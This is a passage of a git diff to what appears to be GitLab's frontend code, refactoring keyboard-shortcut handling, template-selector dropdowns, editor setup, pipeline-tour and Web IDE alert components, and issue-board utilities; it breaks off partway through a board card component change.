@@ -9,13 +10,13 @@ import { refreshCurrentPage, visitUrl } from '../../lib/utils/url_utility';
import findAndFollowLink from '../../lib/utils/navigation_utility';
import { parseBoolean, getCspNonceValue } from '~/lib/utils/common_utils';
-const defaultStopCallback = Mousetrap.stopCallback;
-Mousetrap.stopCallback = (e, element, combo) => {
+const defaultStopCallback = Mousetrap.prototype.stopCallback;
+Mousetrap.prototype.stopCallback = function customStopCallback(e, element, combo) {
if (['ctrl+shift+p', 'command+shift+p'].indexOf(combo) !== -1) {
return false;
}
- return defaultStopCallback(e, element, combo);
+ return defaultStopCallback.call(this, e, element, combo);
};
function initToggleButton() {
@@ -27,6 +28,39 @@ function initToggleButton() {
});
}
+/**
+ * The key used to save and fetch the local Mousetrap instance
+ * attached to a `<textarea>` element using `jQuery.data`
+ */
+const LOCAL_MOUSETRAP_DATA_KEY = 'local-mousetrap-instance';
+
+/**
+ * Gets a mapping of toolbar button => keyboard shortcuts
+ * associated to the given markdown editor `<textarea>` element
+ *
+ * @param {HTMLTextAreaElement} $textarea The jQuery-wrapped `<textarea>`
+ * element to extract keyboard shortcuts from
+ *
+ * @returns A Map with keys that are jQuery-wrapped toolbar buttons
+ * (i.e. `$toolbarBtn`) and values that are arrays of string
+ * keyboard shortcuts (e.g. `['command+k', 'ctrl+k]`).
+ */
+function getToolbarBtnToShortcutsMap($textarea) {
+ const $allToolbarBtns = $textarea.closest('.md-area').find('.js-md');
+ const map = new Map();
+
+ $allToolbarBtns.each(function attachToolbarBtnHandler() {
+ const $toolbarBtn = $(this);
+ const keyboardShortcuts = $toolbarBtn.data('md-shortcuts');
+
+ if (keyboardShortcuts?.length) {
+ map.set($toolbarBtn, keyboardShortcuts);
+ }
+ });
+
+ return map;
+}
+
export default class Shortcuts {
constructor() {
this.onToggleHelp = this.onToggleHelp.bind(this);
@@ -34,6 +68,7 @@ export default class Shortcuts {
Mousetrap.bind('?', this.onToggleHelp);
Mousetrap.bind('s', Shortcuts.focusSearch);
+ Mousetrap.bind('/', Shortcuts.focusSearch);
Mousetrap.bind('f', this.focusFilter.bind(this));
Mousetrap.bind('p b', Shortcuts.onTogglePerfBar);
@@ -143,4 +178,62 @@ export default class Shortcuts {
e.preventDefault();
}
}
+
+ /**
+ * Initializes markdown editor shortcuts on the provided `<textarea>` element
+ *
+ * @param {JQuery} $textarea The jQuery-wrapped `<textarea>` element
+ * where markdown shortcuts should be enabled
+ * @param {Function} handler The handler to call when a
+ * keyboard shortcut is pressed inside the markdown `<textarea>`
+ */
+ static initMarkdownEditorShortcuts($textarea, handler) {
+ const toolbarBtnToShortcutsMap = getToolbarBtnToShortcutsMap($textarea);
+
+ const localMousetrap = new Mousetrap($textarea[0]);
+
+ // Save a reference to the local mousetrap instance on the <textarea>
+ // so that it can be retrieved when unbinding shortcut handlers
+ $textarea.data(LOCAL_MOUSETRAP_DATA_KEY, localMousetrap);
+
+ toolbarBtnToShortcutsMap.forEach((keyboardShortcuts, $toolbarBtn) => {
+ localMousetrap.bind(keyboardShortcuts, e => {
+ e.preventDefault();
+
+ handler($toolbarBtn);
+ });
+ });
+
+ // Get an array of all shortcut strings that have been added above
+ const allShortcuts = flatten([...toolbarBtnToShortcutsMap.values()]);
+
+ const originalStopCallback = Mousetrap.prototype.stopCallback;
+ localMousetrap.stopCallback = function newStopCallback(e, element, combo) {
+ if (allShortcuts.includes(combo)) {
+ return false;
+ }
+
+ return originalStopCallback.call(this, e, element, combo);
+ };
+ }
+
+ /**
+ * Removes markdown editor shortcut handlers originally attached
+ * with `initMarkdownEditorShortcuts`.
+ *
+ * Note: it is safe to call this function even if `initMarkdownEditorShortcuts`
+ * has _not_ yet been called on the given `<textarea>`.
+ *
+ * @param {JQuery} $textarea The jQuery-wrapped `<textarea>`
+ * to remove shortcut handlers from
+ */
+ static removeMarkdownEditorShortcuts($textarea) {
+ const localMousetrap = $textarea.data(LOCAL_MOUSETRAP_DATA_KEY);
+
+ if (localMousetrap) {
+ getToolbarBtnToShortcutsMap($textarea).forEach(keyboardShortcuts => {
+ localMousetrap.unbind(keyboardShortcuts);
+ });
+ }
+ }
}
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js
index 8658081c6c2..f0d2ecfd210 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js
@@ -5,12 +5,11 @@ export default class ShortcutsFindFile extends ShortcutsNavigation {
constructor(projectFindFile) {
super();
- const oldStopCallback = Mousetrap.stopCallback;
- this.projectFindFile = projectFindFile;
+ const oldStopCallback = Mousetrap.prototype.stopCallback;
- Mousetrap.stopCallback = (e, element, combo) => {
+ Mousetrap.prototype.stopCallback = function customStopCallback(e, element, combo) {
if (
- element === this.projectFindFile.inputElement[0] &&
+ element === projectFindFile.inputElement[0] &&
(combo === 'up' || combo === 'down' || combo === 'esc' || combo === 'enter')
) {
// when press up/down key in textbox, cursor prevent to move to home/end
@@ -18,12 +17,12 @@ export default class ShortcutsFindFile extends ShortcutsNavigation {
return false;
}
- return oldStopCallback(e, element, combo);
+ return oldStopCallback.call(this, e, element, combo);
};
- Mousetrap.bind('up', this.projectFindFile.selectRowUp);
- Mousetrap.bind('down', this.projectFindFile.selectRowDown);
- Mousetrap.bind('esc', this.projectFindFile.goToTree);
- Mousetrap.bind('enter', this.projectFindFile.goToBlob);
+ Mousetrap.bind('up', projectFindFile.selectRowUp);
+ Mousetrap.bind('down', projectFindFile.selectRowDown);
+ Mousetrap.bind('esc', projectFindFile.goToTree);
+ Mousetrap.bind('enter', projectFindFile.goToBlob);
}
}
diff --git a/app/assets/javascripts/blob/components/blob_edit_content.vue b/app/assets/javascripts/blob/components/blob_edit_content.vue
index 26ba7b98a39..6293f3bed1c 100644
--- a/app/assets/javascripts/blob/components/blob_edit_content.vue
+++ b/app/assets/javascripts/blob/components/blob_edit_content.vue
@@ -46,7 +46,7 @@ export default {
blobGlobalId: this.fileGlobalId,
});
- this.editor.onChangeContent(debounce(this.onFileChange.bind(this), 250));
+ this.editor.onDidChangeModelContent(debounce(this.onFileChange.bind(this), 250));
window.requestAnimationFrame(() => {
if (!performance.getEntriesByName(SNIPPET_MARK_BLOBS_CONTENT).length) {
diff --git a/app/assets/javascripts/blob/components/blob_embeddable.vue b/app/assets/javascripts/blob/components/blob_embeddable.vue
deleted file mode 100644
index 00b915ec8bd..00000000000
--- a/app/assets/javascripts/blob/components/blob_embeddable.vue
+++ /dev/null
@@ -1,41 +0,0 @@
-<script>
-import { GlFormInputGroup, GlDeprecatedButton, GlIcon } from '@gitlab/ui';
-import { __ } from '~/locale';
-
-export default {
- components: {
- GlFormInputGroup,
- GlDeprecatedButton,
- GlIcon,
- },
- props: {
- url: {
- type: String,
- required: true,
- },
- },
- data() {
- return {
- optionValues: [
- // eslint-disable-next-line no-useless-escape
- { name: __('Embed'), value: `<script src='${this.url}.js'><\/script>` },
- { name: __('Share'), value: this.url },
- ],
- };
- },
-};
-</script>
-<template>
- <gl-form-input-group
- id="embeddable-text"
- :predefined-options="optionValues"
- readonly
- select-on-click
- >
- <template #append>
- <gl-deprecated-button new-style data-clipboard-target="#embeddable-text">
- <gl-icon name="copy-to-clipboard" :title="__('Copy')" />
- </gl-deprecated-button>
- </template>
- </gl-form-input-group>
-</template>
diff --git a/app/assets/javascripts/blob/file_template_mediator.js b/app/assets/javascripts/blob/file_template_mediator.js
index 4409d7a33cc..5058ca7122d 100644
--- a/app/assets/javascripts/blob/file_template_mediator.js
+++ b/app/assets/javascripts/blob/file_template_mediator.js
@@ -1,16 +1,18 @@
import $ from 'jquery';
+
import Api from '~/api';
+import toast from '~/vue_shared/plugins/global_toast';
+import { __ } from '~/locale';
+import initPopover from '~/blob/suggest_gitlab_ci_yml';
import { deprecatedCreateFlash as Flash } from '../flash';
+
import FileTemplateTypeSelector from './template_selectors/type_selector';
import BlobCiYamlSelector from './template_selectors/ci_yaml_selector';
import DockerfileSelector from './template_selectors/dockerfile_selector';
import GitignoreSelector from './template_selectors/gitignore_selector';
import LicenseSelector from './template_selectors/license_selector';
import MetricsDashboardSelector from './template_selectors/metrics_dashboard_selector';
-import toast from '~/vue_shared/plugins/global_toast';
-import { __ } from '~/locale';
-import initPopover from '~/blob/suggest_gitlab_ci_yml';
export default class FileTemplateMediator {
constructor({ editor, currentAction, projectId }) {
diff --git a/app/assets/javascripts/blob/file_template_selector.js b/app/assets/javascripts/blob/file_template_selector.js
index 476901aae75..bd39aa2e16f 100644
--- a/app/assets/javascripts/blob/file_template_selector.js
+++ b/app/assets/javascripts/blob/file_template_selector.js
@@ -45,11 +45,15 @@ export default class FileTemplateSelector {
}
renderLoading() {
- this.$loadingIcon.addClass('fa-spinner fa-spin').removeClass('fa-chevron-down');
+ this.$loadingIcon
+ .addClass('gl-spinner gl-spinner-orange gl-spinner-sm')
+ .removeClass('fa-chevron-down');
}
renderLoaded() {
- this.$loadingIcon.addClass('fa-chevron-down').removeClass('fa-spinner fa-spin');
+ this.$loadingIcon
+ .addClass('fa-chevron-down')
+ .removeClass('gl-spinner gl-spinner-orange gl-spinner-sm');
}
reportSelection(options) {
diff --git a/app/assets/javascripts/blob/pipeline_tour_success_modal.vue b/app/assets/javascripts/blob/pipeline_tour_success_modal.vue
index 90eafb75758..411241b72d5 100644
--- a/app/assets/javascripts/blob/pipeline_tour_success_modal.vue
+++ b/app/assets/javascripts/blob/pipeline_tour_success_modal.vue
@@ -1,5 +1,5 @@
<script>
-import { GlModal, GlSprintf, GlLink } from '@gitlab/ui';
+import { GlModal, GlSprintf, GlLink, GlButton } from '@gitlab/ui';
import Cookies from 'js-cookie';
import { sprintf, s__, __ } from '~/locale';
import { glEmojiTag } from '~/emoji';
@@ -18,6 +18,8 @@ export default {
helpMessage: s__(
`MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more.`,
),
+ pipelinesButton: s__('MR widget|See your pipeline in action'),
+ mergeRequestButton: s__('MR widget|Back to the Merge request'),
modalTitle: sprintf(
__("That's it, well done!%{celebrate}"),
{
@@ -25,11 +27,13 @@ export default {
},
false,
),
- goToTrackValue: 10,
+ goToTrackValuePipelines: 10,
+ goToTrackValueMergeRequest: 20,
trackEvent: 'click_button',
components: {
GlModal,
GlSprintf,
+ GlButton,
GlLink,
},
mixins: [trackingMixin],
@@ -38,6 +42,11 @@ export default {
type: String,
required: true,
},
+ projectMergeRequestsPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
commitCookie: {
type: String,
required: true,
@@ -59,6 +68,15 @@ export default {
property: this.humanAccess,
};
},
+ goToMergeRequestPath() {
+ return this.commitCookiePath || this.projectMergeRequestsPath;
+ },
+ commitCookiePath() {
+ const cookieVal = Cookies.get(this.commitCookie);
+
+ if (cookieVal !== 'true') return cookieVal;
+ return '';
+ },
},
mounted() {
this.track();
@@ -100,17 +118,28 @@ export default {
</template>
</gl-sprintf>
<template #modal-footer>
- <a
- ref="goto"
+ <gl-button
+ v-if="projectMergeRequestsPath"
+ ref="goToMergeRequest"
+ :href="goToMergeRequestPath"
+ :data-track-property="humanAccess"
+ :data-track-value="$options.goToTrackValueMergeRequest"
+ :data-track-event="$options.trackEvent"
+ :data-track-label="trackLabel"
+ >
+ {{ $options.mergeRequestButton }}
+ </gl-button>
+ <gl-button
+ ref="goToPipelines"
:href="goToPipelinesPath"
- class="btn btn-success"
+ variant="success"
:data-track-property="humanAccess"
- :data-track-value="$options.goToTrackValue"
+ :data-track-value="$options.goToTrackValuePipelines"
:data-track-event="$options.trackEvent"
:data-track-label="trackLabel"
>
- {{ __('See your pipeline in action') }}
- </a>
+ {{ $options.pipelinesButton }}
+ </gl-button>
</template>
</gl-modal>
</template>
diff --git a/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue b/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
index aff6a56cb0b..06f436adb8e 100644
--- a/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
+++ b/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
@@ -49,6 +49,10 @@ export default {
type: String,
required: true,
},
+ mergeRequestPath: {
+ type: String,
+ required: true,
+ },
},
data() {
return {
@@ -109,7 +113,7 @@ export default {
:css-classes="['suggest-gitlab-ci-yml', 'ml-4']"
>
<template #title>
- <span v-html="suggestTitle"></span>
+ <span>{{ suggestTitle }}</span>
<span class="ml-auto">
<gl-button
:aria-label="__('Close')"
diff --git a/app/assets/javascripts/blob/suggest_gitlab_ci_yml/index.js b/app/assets/javascripts/blob/suggest_gitlab_ci_yml/index.js
index 3b67b3dd259..55edb852ee6 100644
--- a/app/assets/javascripts/blob/suggest_gitlab_ci_yml/index.js
+++ b/app/assets/javascripts/blob/suggest_gitlab_ci_yml/index.js
@@ -10,6 +10,7 @@ export default el =>
target: el.dataset.target,
trackLabel: el.dataset.trackLabel,
dismissKey: el.dataset.dismissKey,
+ mergeRequestPath: el.dataset.mergeRequestPath,
humanAccess: el.dataset.humanAccess,
},
});
diff --git a/app/assets/javascripts/blob/suggest_web_ide_ci/components/web_ide_alert.vue b/app/assets/javascripts/blob/suggest_web_ide_ci/components/web_ide_alert.vue
new file mode 100644
index 00000000000..1308ca53e74
--- /dev/null
+++ b/app/assets/javascripts/blob/suggest_web_ide_ci/components/web_ide_alert.vue
@@ -0,0 +1,50 @@
+<script>
+import { GlAlert, GlButton } from '@gitlab/ui';
+import axios from '~/lib/utils/axios_utils';
+
+export default {
+ components: {
+ GlAlert,
+ GlButton,
+ },
+ props: {
+ dismissEndpoint: {
+ type: String,
+ required: true,
+ },
+ featureId: {
+ type: String,
+ required: true,
+ },
+ editPath: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ showAlert: true,
+ };
+ },
+ methods: {
+ dismissAlert() {
+ this.showAlert = false;
+
+ return axios.post(this.dismissEndpoint, {
+ feature_name: this.featureId,
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-alert v-if="showAlert" class="gl-mt-5" @dismiss="dismissAlert">
+ {{ __('The Web IDE offers advanced syntax highlighting capabilities and more.') }}
+ <div class="gl-mt-5">
+ <gl-button :href="editPath" category="primary" variant="info">{{
+ __('Open Web IDE')
+ }}</gl-button>
+ </div>
+ </gl-alert>
+</template>
diff --git a/app/assets/javascripts/blob/suggest_web_ide_ci/index.js b/app/assets/javascripts/blob/suggest_web_ide_ci/index.js
new file mode 100644
index 00000000000..eadf3cd6216
--- /dev/null
+++ b/app/assets/javascripts/blob/suggest_web_ide_ci/index.js
@@ -0,0 +1,20 @@
+import Vue from 'vue';
+import WebIdeAlert from './components/web_ide_alert.vue';
+
+export default el => {
+ const { dismissEndpoint, featureId, editPath } = el.dataset;
+
+ // eslint-disable-next-line no-new
+ new Vue({
+ el,
+ render(createElement) {
+ return createElement(WebIdeAlert, {
+ props: {
+ dismissEndpoint,
+ featureId,
+ editPath,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/blob/template_selector.js b/app/assets/javascripts/blob/template_selector.js
index 2427e25a17d..257458138dc 100644
--- a/app/assets/javascripts/blob/template_selector.js
+++ b/app/assets/javascripts/blob/template_selector.js
@@ -1,7 +1,7 @@
/* eslint-disable class-methods-use-this */
import $ from 'jquery';
-import '~/gl_dropdown';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class TemplateSelector {
constructor({ dropdown, data, pattern, wrapper, editor, $input } = {}) {
@@ -19,7 +19,7 @@ export default class TemplateSelector {
}
initDropdown(dropdown, data) {
- return $(dropdown).glDropdown({
+ return initDeprecatedJQueryDropdown($(dropdown), {
data,
filterable: true,
selectable: true,
diff --git a/app/assets/javascripts/blob/template_selectors/ci_yaml_selector.js b/app/assets/javascripts/blob/template_selectors/ci_yaml_selector.js
index d819452df68..3a4e86fe572 100644
--- a/app/assets/javascripts/blob/template_selectors/ci_yaml_selector.js
+++ b/app/assets/javascripts/blob/template_selectors/ci_yaml_selector.js
@@ -1,4 +1,5 @@
import FileTemplateSelector from '../file_template_selector';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class BlobCiYamlSelector extends FileTemplateSelector {
constructor({ mediator }) {
@@ -15,7 +16,7 @@ export default class BlobCiYamlSelector extends FileTemplateSelector {
initDropdown() {
// maybe move to super class as well
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.$dropdown.data('data'),
filterable: true,
selectable: true,
diff --git a/app/assets/javascripts/blob/template_selectors/dockerfile_selector.js b/app/assets/javascripts/blob/template_selectors/dockerfile_selector.js
index 7d5e98889d3..3cb4bb83930 100644
--- a/app/assets/javascripts/blob/template_selectors/dockerfile_selector.js
+++ b/app/assets/javascripts/blob/template_selectors/dockerfile_selector.js
@@ -1,5 +1,6 @@
import FileTemplateSelector from '../file_template_selector';
import { __ } from '~/locale';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class DockerfileSelector extends FileTemplateSelector {
constructor({ mediator }) {
@@ -16,7 +17,7 @@ export default class DockerfileSelector extends FileTemplateSelector {
initDropdown() {
// maybe move to super class as well
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.$dropdown.data('data'),
filterable: true,
selectable: true,
diff --git a/app/assets/javascripts/blob/template_selectors/gitignore_selector.js b/app/assets/javascripts/blob/template_selectors/gitignore_selector.js
index 39a8937641d..1721230dcb7 100644
--- a/app/assets/javascripts/blob/template_selectors/gitignore_selector.js
+++ b/app/assets/javascripts/blob/template_selectors/gitignore_selector.js
@@ -1,4 +1,5 @@
import FileTemplateSelector from '../file_template_selector';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class BlobGitignoreSelector extends FileTemplateSelector {
constructor({ mediator }) {
@@ -14,7 +15,7 @@ export default class BlobGitignoreSelector extends FileTemplateSelector {
}
initDropdown() {
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.$dropdown.data('data'),
filterable: true,
selectable: true,
diff --git a/app/assets/javascripts/blob/template_selectors/license_selector.js b/app/assets/javascripts/blob/template_selectors/license_selector.js
index f4041835a7d..dafde82b1e0 100644
--- a/app/assets/javascripts/blob/template_selectors/license_selector.js
+++ b/app/assets/javascripts/blob/template_selectors/license_selector.js
@@ -1,4 +1,5 @@
import FileTemplateSelector from '../file_template_selector';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class BlobLicenseSelector extends FileTemplateSelector {
constructor({ mediator }) {
@@ -14,7 +15,7 @@ export default class BlobLicenseSelector extends FileTemplateSelector {
}
initDropdown() {
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.$dropdown.data('data'),
filterable: true,
selectable: true,
diff --git a/app/assets/javascripts/blob/template_selectors/metrics_dashboard_selector.js b/app/assets/javascripts/blob/template_selectors/metrics_dashboard_selector.js
index b4accaadfa3..9e698bfea5d 100644
--- a/app/assets/javascripts/blob/template_selectors/metrics_dashboard_selector.js
+++ b/app/assets/javascripts/blob/template_selectors/metrics_dashboard_selector.js
@@ -1,4 +1,5 @@
import FileTemplateSelector from '../file_template_selector';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class MetricsDashboardSelector extends FileTemplateSelector {
constructor({ mediator }) {
@@ -14,7 +15,7 @@ export default class MetricsDashboardSelector extends FileTemplateSelector {
}
initDropdown() {
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.$dropdown.data('data'),
filterable: true,
selectable: true,
diff --git a/app/assets/javascripts/blob/template_selectors/type_selector.js b/app/assets/javascripts/blob/template_selectors/type_selector.js
index cb4e1aaa9ac..01625911815 100644
--- a/app/assets/javascripts/blob/template_selectors/type_selector.js
+++ b/app/assets/javascripts/blob/template_selectors/type_selector.js
@@ -1,4 +1,5 @@
import FileTemplateSelector from '../file_template_selector';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class FileTemplateTypeSelector extends FileTemplateSelector {
constructor({ mediator, dropdownData }) {
@@ -12,7 +13,7 @@ export default class FileTemplateTypeSelector extends FileTemplateSelector {
}
initDropdown() {
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.config.dropdownData,
filterable: false,
selectable: true,
diff --git a/app/assets/javascripts/blob/utils.js b/app/assets/javascripts/blob/utils.js
index a0211c8bb8e..8043c0bbc07 100644
--- a/app/assets/javascripts/blob/utils.js
+++ b/app/assets/javascripts/blob/utils.js
@@ -1,20 +1,16 @@
import Editor from '~/editor/editor_lite';
export function initEditorLite({ el, ...args }) {
- if (!el) {
- throw new Error(`"el" parameter is required to initialize Editor`);
- }
const editor = new Editor({
scrollbar: {
alwaysConsumeMouseWheel: false,
},
});
- editor.createInstance({
+
+ return editor.createInstance({
el,
...args,
});
-
- return editor;
}
export default () => ({});
diff --git a/app/assets/javascripts/blob_edit/blob_bundle.js b/app/assets/javascripts/blob_edit/blob_bundle.js
index 9b9ade28623..c9972f0b43c 100644
--- a/app/assets/javascripts/blob_edit/blob_bundle.js
+++ b/app/assets/javascripts/blob_edit/blob_bundle.js
@@ -7,12 +7,14 @@ import BlobFileDropzone from '../blob/blob_file_dropzone';
import initPopover from '~/blob/suggest_gitlab_ci_yml';
import { disableButtonIfEmptyField, setCookie } from '~/lib/utils/common_utils';
import Tracking from '~/tracking';
+import initWebIdeAlert from '~/blob/suggest_web_ide_ci';
export default () => {
const editBlobForm = $('.js-edit-blob-form');
const uploadBlobForm = $('.js-upload-blob-form');
const deleteBlobForm = $('.js-delete-blob-form');
const suggestEl = document.querySelector('.js-suggest-gitlab-ci-yml');
+ const alertEl = document.getElementById('js-suggest-web-ide-ci');
if (editBlobForm.length) {
const urlRoot = editBlobForm.data('relativeUrlRoot');
@@ -65,12 +67,15 @@ export default () => {
if (commitButton) {
const { dismissKey, humanAccess } = suggestEl.dataset;
+ const urlParams = new URLSearchParams(window.location.search);
+ const mergeRequestPath = urlParams.get('mr_path') || true;
+
const commitCookieName = `suggest_gitlab_ci_yml_commit_${dismissKey}`;
const commitTrackLabel = 'suggest_gitlab_ci_yml_commit_changes';
const commitTrackValue = '20';
commitButton.addEventListener('click', () => {
- setCookie(commitCookieName, true);
+ setCookie(commitCookieName, mergeRequestPath);
Tracking.event(undefined, 'click_button', {
label: commitTrackLabel,
@@ -80,4 +85,8 @@ export default () => {
});
}
}
+
+ if (alertEl) {
+ initWebIdeAlert(alertEl);
+ }
};
diff --git a/app/assets/javascripts/blob_edit/edit_blob.js b/app/assets/javascripts/blob_edit/edit_blob.js
index e22c9b0d4c4..2a4ab4b8827 100644
--- a/app/assets/javascripts/blob_edit/edit_blob.js
+++ b/app/assets/javascripts/blob_edit/edit_blob.js
@@ -40,9 +40,10 @@ export default class EditBlob {
const MarkdownExtensionPromise = this.options.isMarkdown
? import('~/editor/editor_markdown_ext')
: Promise.resolve(false);
+ const FileTemplateExtensionPromise = import('~/editor/editor_file_template_ext');
- return Promise.all([EditorPromise, MarkdownExtensionPromise])
- .then(([EditorModule, MarkdownExtension]) => {
+ return Promise.all([EditorPromise, MarkdownExtensionPromise, FileTemplateExtensionPromise])
+ .then(([EditorModule, MarkdownExtension, FileTemplateExtension]) => {
const EditorLite = EditorModule.default;
const editorEl = document.getElementById('editor');
const fileNameEl =
@@ -50,18 +51,16 @@ export default class EditBlob {
const fileContentEl = document.getElementById('file-content');
const form = document.querySelector('.js-edit-blob-form');
- this.editor = new EditorLite();
+ const rootEditor = new EditorLite();
- if (MarkdownExtension) {
- this.editor.use(MarkdownExtension.default);
- }
-
- this.editor.createInstance({
+ this.editor = rootEditor.createInstance({
el: editorEl,
blobPath: fileNameEl.value,
blobContent: editorEl.innerText,
});
+ rootEditor.use([MarkdownExtension.default, FileTemplateExtension.default], this.editor);
+
fileNameEl.addEventListener('change', () => {
this.editor.updateModelLanguage(fileNameEl.value);
});
diff --git a/app/assets/javascripts/boards/boards_util.js b/app/assets/javascripts/boards/boards_util.js
index 384a386d69c..5c8df94ca90 100644
--- a/app/assets/javascripts/boards/boards_util.js
+++ b/app/assets/javascripts/boards/boards_util.js
@@ -1,28 +1,72 @@
+import { sortBy } from 'lodash';
import ListIssue from 'ee_else_ce/boards/models/issue';
+import { ListType } from './constants';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
export function getMilestone() {
return null;
}
+export function formatIssue(issue) {
+ return new ListIssue({
+ ...issue,
+ labels: issue.labels?.nodes || [],
+ assignees: issue.assignees?.nodes || [],
+ });
+}
+
export function formatListIssues(listIssues) {
- return listIssues.nodes.reduce((map, list) => {
+ const issues = {};
+
+ const listData = listIssues.nodes.reduce((map, list) => {
+ const sortedIssues = sortBy(list.issues.nodes, 'relativePosition');
return {
...map,
- [list.id]: list.issues.nodes.map(
- i =>
- new ListIssue({
- ...i,
- id: getIdFromGraphQLId(i.id),
- labels: i.labels?.nodes || [],
- assignees: i.assignees?.nodes || [],
- }),
- ),
+ [list.id]: sortedIssues.map(i => {
+ const id = getIdFromGraphQLId(i.id);
+
+ const listIssue = new ListIssue({
+ ...i,
+ id,
+ labels: i.labels?.nodes || [],
+ assignees: i.assignees?.nodes || [],
+ });
+
+ issues[id] = listIssue;
+
+ return id;
+ }),
};
}, {});
+
+ return { listData, issues };
+}
+
+export function fullBoardId(boardId) {
+ return `gid://gitlab/Board/${boardId}`;
+}
+
+export function moveIssueListHelper(issue, fromList, toList) {
+ if (toList.type === ListType.label) {
+ issue.addLabel(toList.label);
+ }
+ if (fromList && fromList.type === ListType.label) {
+ issue.removeLabel(fromList.label);
+ }
+
+ if (toList.type === ListType.assignee) {
+ issue.addAssignee(toList.assignee);
+ }
+ if (fromList && fromList.type === ListType.assignee) {
+ issue.removeAssignee(fromList.assignee);
+ }
+
+ return issue;
}
export default {
getMilestone,
+ formatIssue,
formatListIssues,
+ fullBoardId,
};
diff --git a/app/assets/javascripts/boards/components/board_blank_state.vue b/app/assets/javascripts/boards/components/board_blank_state.vue
index afdf0290e8e..55e3e4a6329 100644
--- a/app/assets/javascripts/boards/components/board_blank_state.vue
+++ b/app/assets/javascripts/boards/components/board_blank_state.vue
@@ -1,10 +1,14 @@
<script>
+import { GlButton } from '@gitlab/ui';
import Cookies from 'js-cookie';
import { __ } from '~/locale';
import ListLabel from '~/boards/models/label';
import boardsStore from '../stores/boards_store';
export default {
+ components: {
+ GlButton,
+ },
data() {
return {
predefinedLabels: [
@@ -84,15 +88,17 @@ export default {
)
}}
</p>
- <button
- class="btn btn-success btn-inverted btn-block"
- type="button"
+ <gl-button
+ category="secondary"
+ variant="success"
+ block="block"
+ class="gl-mb-0"
@click.stop="addDefaultLists"
>
{{ s__('BoardBlankState|Add default lists') }}
- </button>
- <button class="btn btn-default btn-block" type="button" @click.stop="clearBlankState">
+ </gl-button>
+ <gl-button category="secondary" variant="default" block="block" @click.stop="clearBlankState">
{{ s__("BoardBlankState|Nevermind, I'll use my own") }}
- </button>
+ </gl-button>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_card.vue b/app/assets/javascripts/boards/components/board_card.vue
index 246d3b9dcd1..31050eef83d 100644
--- a/app/assets/javascripts/boards/components/board_card.vue
+++ b/app/assets/javascripts/boards/components/board_card.vue
@@ -1,6 +1,5 @@
<script>
-/* eslint-disable vue/require-default-prop */
-import IssueCardInner from './issue_card_inner.vue';
+import BoardCardLayout from './board_card_layout.vue';
import eventHub from '../eventhub';
import sidebarEventHub from '~/sidebar/event_hub';
import boardsStore from '../stores/boards_store';
@@ -8,7 +7,7 @@ import boardsStore from '../stores/boards_store';
export default {
name: 'BoardsIssueCard',
components: {
- IssueCardInner,
+ BoardCardLayout,
},
props: {
list: {
@@ -21,80 +20,29 @@ export default {
default: () => ({}),
required: false,
},
- issueLinkBase: {
- type: String,
- default: '',
- required: false,
- },
- disabled: {
- type: Boolean,
- default: false,
- required: false,
- },
- index: {
- type: Number,
- default: 0,
- required: false,
- },
- rootPath: {
- type: String,
- default: '',
- required: false,
- },
- groupId: {
- type: Number,
- required: false,
- },
- },
- data() {
- return {
- showDetail: false,
- detailIssue: boardsStore.detail,
- multiSelect: boardsStore.multiSelect,
- };
- },
- computed: {
- issueDetailVisible() {
- return this.detailIssue.issue && this.detailIssue.issue.id === this.issue.id;
- },
- multiSelectVisible() {
- return this.multiSelect.list.findIndex(issue => issue.id === this.issue.id) > -1;
- },
- canMultiSelect() {
- return gon.features && gon.features.multiSelectBoard;
- },
},
methods: {
- mouseDown() {
- this.showDetail = true;
+ // These are methods instead of computed's, because boardsStore is not reactive.
+ isActive() {
+ return this.getActiveId() === this.issue.id;
},
- mouseMove() {
- this.showDetail = false;
+ getActiveId() {
+ return boardsStore.detail?.issue?.id;
},
- showIssue(e) {
- if (e.target.classList.contains('js-no-trigger')) return;
-
+ showIssue({ isMultiSelect }) {
// If no issues are opened, close all sidebars first
- if (!boardsStore.detail?.issue?.id) {
+ if (!this.getActiveId()) {
sidebarEventHub.$emit('sidebar.closeAll');
}
+ if (this.isActive()) {
+ eventHub.$emit('clearDetailIssue', isMultiSelect);
- // If CMD or CTRL is clicked
- const isMultiSelect = this.canMultiSelect && (e.ctrlKey || e.metaKey);
-
- if (this.showDetail || isMultiSelect) {
- this.showDetail = false;
-
- if (boardsStore.detail.issue && boardsStore.detail.issue.id === this.issue.id) {
